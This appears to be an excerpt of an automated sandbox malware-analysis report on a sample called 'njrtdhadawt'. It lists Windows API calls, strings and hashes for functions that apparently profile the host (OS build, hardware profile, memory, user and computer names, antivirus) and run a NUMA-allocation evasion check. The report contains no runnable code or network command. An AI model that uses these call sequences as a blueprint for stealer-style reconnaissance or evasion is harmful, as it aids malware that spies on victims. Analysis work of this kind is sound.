API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: a8c68cf1f603b2c12c38d1e7ef81f1838f10d7019006df884a192739dc4021e3
Instruction ID: 869d9a5d60b8f71a8e2546553105460518e385f0ce75c5586c40cdfae65bf48f
Opcode Fuzzy Hash: a8c68cf1f603b2c12c38d1e7ef81f1838f10d7019006df884a192739dc4021e3
Instruction Fuzzy Hash: A6F04F75600209BFEB205BD1EC0EFBE7AB9EF84704F544014F701E5199EBB19900AB14

Function 00FF0DCC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00FF0E3E,00FF0D7B,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0DE0
HeapAlloc.KERNEL32(00000000,?,?,?,00FF0E3E,00FF0D7B,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0DE7
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,01015870,?,?,?,00FF0E3E,00FF0D7B,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0E05
RegQueryValueExA.KERNEL32(01015870,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00FF0E3E,00FF0D7B,?,?,?,00FF4072,Windows: ), ref: 00FF0E20
RegCloseKey.ADVAPI32(01015870,?,?,?,00FF0E3E,00FF0D7B,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0E29

Strings

CurrentBuildNumber, xrefs: 00FF0E18

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 62c3cde62baf978702572b2c811dca918f5f591e513f32891fd12165dca4f55c
Instruction ID: 254a5b9cc17808c74aa07b0f2586ef431af4f682249609233b9b362a06fcf409
Opcode Fuzzy Hash: 62c3cde62baf978702572b2c811dca918f5f591e513f32891fd12165dca4f55c
Instruction Fuzzy Hash: 7AF03A71640209BFEB205B91EC0EFAF7ABAEB84B04F648058F701A5199EBB159009B14

Function 00FE85FA Relevance: 9.1, APIs: 6, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
LocalFree.KERNEL32(00FEEECA,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8679
CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 7be388fbf2e6cfba05183786b8ba02ee68c56442c67a110b89efd5ea50648145
Instruction ID: 12c95bfbcfd32060ccad34709f341b62ad0579f8c845759f571a3ab18712fb8c
Opcode Fuzzy Hash: 7be388fbf2e6cfba05183786b8ba02ee68c56442c67a110b89efd5ea50648145
Instruction Fuzzy Hash: 16119D70900244EFDF21AFA5DC4CEAE7BB9EB84390F204548FA09A2194DB718E42EB50

Function 00FE10E0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 00FE109A
_memset.LIBCMT ref: 00FE10C0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 00FE10D6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00FF7F4E), ref: 00FE10F0
VirtualAllocExNuma.KERNEL32(00000000), ref: 00FE10F7
ExitProcess.KERNEL32 ref: 00FE1102

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: 1ea66bbd864fb7ab8474b6ef0f7b77ad710644b252d5b2cdf813b5f924346068
Instruction ID: 4a155ee3b0a278cff49d5902ad7ff3220d956242ad6385dc1253186b049d056d
Opcode Fuzzy Hash: 1ea66bbd864fb7ab8474b6ef0f7b77ad710644b252d5b2cdf813b5f924346068
Instruction Fuzzy Hash: 69F0F672B8135177F23252772C5DFAB2A6CAB41F62F204014F348EB2C0D7AA9944B774

Function 00FF18A7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF18F1

Part of subcall function 00FF27A7: malloc.MSVCRT ref: 00FF27AC
Part of subcall function 00FF27A7: strncpy.MSVCRT ref: 00FF27BD

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 00FF1919
lstrcatA.KERNEL32(?,01015DFC,?,?,?,?,?), ref: 00FF1936
GetCurrentHwProfileA.ADVAPI32(?), ref: 00FF18C2

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Strings

Unknown, xrefs: 00FF195F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 0222365b310b4c94ecc564fb6400236815354d87fe7ccea5b2b0247d60bd6aba
Instruction ID: b1491cbdb234ab022d5f7744c6cf58a4579ffe62dbee94a931730d4f27f057b8
Opcode Fuzzy Hash: 0222365b310b4c94ecc564fb6400236815354d87fe7ccea5b2b0247d60bd6aba
Instruction Fuzzy Hash: 8C118132A0011CABDB21EB65DC45BDD73B8AF04300F4004E1F745E7152DAB8AA849F94

Function 00FF133C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,010158F8,Display Resolution: ,010158DC,00000000,User Name: ,010158CC,00000000,Computer Name: ,010158B8,AV: ,010158AC,Install Date: ), ref: 00FF1354
HeapAlloc.KERNEL32(00000000), ref: 00FF135B
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00FF1377
wsprintfA.USER32 ref: 00FF139D

Strings

%d MB, xrefs: 00FF1397

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: e6e3c628b6c3b6b5392570ccbb00be824715df628ae05e43cb213b03729db32c
Instruction ID: bec9a5005d44550c3457ec7fdc5a314a6823adeb63185daea72a408655eb34d5
Opcode Fuzzy Hash: e6e3c628b6c3b6b5392570ccbb00be824715df628ae05e43cb213b03729db32c
Instruction Fuzzy Hash: 9A018671A0021CAFDB14EFB4DC49ABE77B9FF45310F444429F702E7154DA7499419754

Function 6CD60C1A Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6CD60C57
dllmain_crt_dispatch.LIBCMT ref: 6CD60C6E
dllmain_raw.LIBCMT ref: 6CD60CB6
dllmain_crt_dispatch.LIBCMT ref: 6CD60CC9
dllmain_raw.LIBCMT ref: 6CD60CDC

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 3dc2e959bc188f6f719b51a883135f28ef20d458b71779afb8285f07d49c3c85
Instruction ID: 02931a539eb1ace30e987a0c5862781a2ffde8431318156084fe18523a33e264
Opcode Fuzzy Hash: 3dc2e959bc188f6f719b51a883135f28ef20d458b71779afb8285f07d49c3c85
Instruction Fuzzy Hash: 05218072D012A9EBDB118F57C840EAF3A79EB816D8F118615E81967E64C730AD01CFE8

Function 00FE4AA7 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AD9
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4ADF
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AE5
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00FE4AF7
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00FE4AFF

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: e061b30dade2226901d817431af7fddb766b1f0dca4b3a7ffbe71be27172d02e
Instruction ID: bae715f04b0de6a12fef26172cd5623ea69b989c88901462b1d67046b531753b
Opcode Fuzzy Hash: e061b30dade2226901d817431af7fddb766b1f0dca4b3a7ffbe71be27172d02e
Instruction Fuzzy Hash: D9011E32D00218ABCF159FA9DC45ADEBFB8AF55730F108216F921F72A0D67456018F94

Function 00FF1174 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000,Local Time: ,01015914), ref: 00FF1188
HeapAlloc.KERNEL32(00000000,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000,Local Time: ,01015914,Keyboard Languages: ,010158F8), ref: 00FF118F
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,01015870,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000,Local Time: ), ref: 00FF11AD
RegQueryValueExA.KERNEL32(01015870,00000000,00000000,00000000,000000FF,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000), ref: 00FF11C9
RegCloseKey.ADVAPI32(01015870,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000,Local Time: ,01015914,Keyboard Languages: ,010158F8), ref: 00FF11D2

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: e8c7faf72fdda26c0f0cc183d916f52df69dac110685a30b326f4c3baddf4059
Instruction ID: e230247bd03a9bbad75a2e343ef92ad04671ca0ec32f9026b79f9509da70428d
Opcode Fuzzy Hash: e8c7faf72fdda26c0f0cc183d916f52df69dac110685a30b326f4c3baddf4059
Instruction Fuzzy Hash: E0F03075640205BFEB204B90EC0EFAE7ABEFB84700F144014F701A5198E7B159009B24

Function 00FF7074 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 00FF70DB
CreateThread.KERNEL32(00000000,00000000,00FF6FA3,?,00000000,00000000), ref: 00FF7113
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00FF711B

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
